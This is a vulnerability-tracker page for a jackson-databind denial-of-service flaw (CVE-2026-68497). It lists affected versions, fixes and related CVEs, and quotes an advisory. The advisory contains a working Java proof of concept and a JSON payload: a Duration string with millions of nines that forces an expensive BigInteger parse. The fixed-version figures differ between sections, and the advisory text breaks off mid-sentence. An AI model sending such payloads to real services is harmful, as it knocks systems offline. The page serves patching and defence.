Patch Forecast
Amber warning
Patch this week.

CVE-2026-68497 · GHSA-q4xh-88c3-wmh7

jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

Risk score
69/100
CVSS
7.5 v3.1
Exploit chance (30 days)
0.6%
Published
28 Sep 2026

Open in the live forecast Today's forecast

What to know

What it is
jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric co…
Affected
tools.jackson.core:jackson-databind (maven) >= 3.2.0, < 3.2.2; tools.jackson.core:jackson-databind (maven) >= 3.0.0, < 3.1.6; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.14.0, < 2.18.10; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.19.0, < 2.21.6
Fix
Upgrade tools.jackson.core:jackson-databind to 3.2.2 or 3.1.6; com.fasterxml.jackson.core:jackson-databind to 2.18.10 or 2.21.6 or 2.22.2 (whichever matches your release line) or later.
Exploitation
Public proof of concept

Story map

Story map: tools.jackson.core:jackson-databindTHE FLAWSTHE FIXCVE-2026-68497Jackson-databind: DurationXMLGregorianCalendarUnbounded Number Parse DoSCVSS 7.5 · EPSS 1%CVE-2026-19032Jackson-databind: PathDeserialization Missing SchemeAllowlist for…CVSS 5.3 · EPSS 1%CVE-2026-83557Jackson-databind: Comparablemissing fromDefaultBaseTypeLimitingValid…CVSS 5.6 · EPSS 1%CVE-2026-59889Jackson-databind: @JsonViewbypassed for @JsonUnwrappedcontainer properties on…CVSS 6.5Upgrade…2.18.9 · 2.21.5 · 2.22.1 · 3.1.5 ·3.2.1or later on your release lineWho is exposedtools.jackson.core:jackson-databind (maven) >= 3.2.0, < 3.2.2;tools.jackson.core:jackson-databind (maven) >= 3.0.0, < 3.1.6;com.fasterxml.jackson.core:j…AMBER · PATCH THIS WEEKtools.jackson.core:jackson-databi…jackson-databind 3.2.1deserializes a JSON string boundto a javax.xml.datatype.Durationorjavax.xml.datatype.XMLGregorianCalendar field by passing theraw string verbatim to…Where it standsPublic proof of conceptCONNECTS TOSame weaknessDenial of service (CWE-400)253 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

tools.jackson.core:jackson-databind: Amber, patch this week. jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric co…

The flaws

  • CVE-2026-68497: Jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS (CVSS 7.5 · EPSS 1%)
  • CVE-2026-19032: Jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution (CVSS 5.3 · EPSS 1%)
  • CVE-2026-83557: Jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist) (CVSS 5.6 · EPSS 1%)
  • CVE-2026-59889: Jackson-databind: @JsonView bypassed for @JsonUnwrapped container properties on deserialization (CVSS 6.5)

The fix

Upgrade tools.jackson.core:jackson-databind: 2.18.9 · 2.21.5 · 2.22.1 · 3.1.5 · 3.2.1 or later on your release line

Who is exposed: tools.jackson.core:jackson-databind (maven) >= 3.2.0, < 3.2.2; tools.jackson.core:jackson-databind (maven) >= 3.0.0, < 3.1.6; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.14.0, < 2.18.10; com.fasterxml.jackson.core:jackson-databind (maven) >= 2.19.0, < 2.21.6

Where it stands

  • Public proof of concept

Connects to

Why it is Amber

  • CVSS 7.5 high
  • Public exploit or proof of concept referenced
  • Remotely exploitable without logging in
  • On your watchlist: Maven

Affected packages

PackageEcosystemVulnerableFixed in
tools.jackson.core:jackson-databindmaven>= 3.2.0, < 3.2.23.2.2
tools.jackson.core:jackson-databindmaven>= 3.0.0, < 3.1.63.1.6
com.fasterxml.jackson.core:jackson-databindmaven>= 2.14.0, < 2.18.102.18.10
com.fasterxml.jackson.core:jackson-databindmaven>= 2.19.0, < 2.21.62.21.6
com.fasterxml.jackson.core:jackson-databindmaven>= 2.22.0, < 2.22.22.22.2

References

Original description

### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be bui

Last activity 28 Sep 2026. Patch Forecast updates every hour.